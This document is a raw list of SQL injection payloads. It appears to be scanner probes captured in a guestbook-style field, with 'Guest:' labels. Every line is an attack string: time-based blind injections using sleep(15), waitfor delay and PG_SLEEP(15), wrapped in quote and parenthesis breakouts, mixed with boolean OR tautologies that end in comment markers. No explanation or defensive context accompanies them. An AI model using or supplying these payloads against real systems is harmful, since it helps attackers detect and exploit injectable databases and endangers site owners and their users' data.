(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

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-1" OR 2+10-10-1=0+0+0+1 -- 
-1; waitfor delay '0:0:15' --

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-1" OR 2+10-10-1=0+0+0+1 -- 
-1); waitfor delay '0:0:15' --

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-1" OR 2+10-10-1=0+0+0+1 -- 
-1 waitfor delay '0:0:15' --

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-1" OR 2+10-10-1=0+0+0+1 -- 
z82IBD1Y'; waitfor delay '0:0:15' --

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-1" OR 2+10-10-1=0+0+0+1 -- 
AjV5V3O4'); waitfor delay '0:0:15' --

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-1" OR 2+10-10-1=0+0+0+1 -- 
9a2b6cyh')); waitfor delay '0:0:15' --

Guest:
-1" OR 2+10-10-1=0+0+0+1 -- 
WYJ5JFtt' OR 901=(SELECT 901 FROM PG_SLEEP(15))--

Guest:
-1" OR 2+10-10-1=0+0+0+1 -- 
HMAysrAh') OR 507=(SELECT 507 FROM PG_SLEEP(15))--

Guest:
-1" OR 2+10-10-1=0+0+0+1 -- 
hkgfn8tg')) OR 775=(SELECT 775 FROM PG_SLEEP(15))--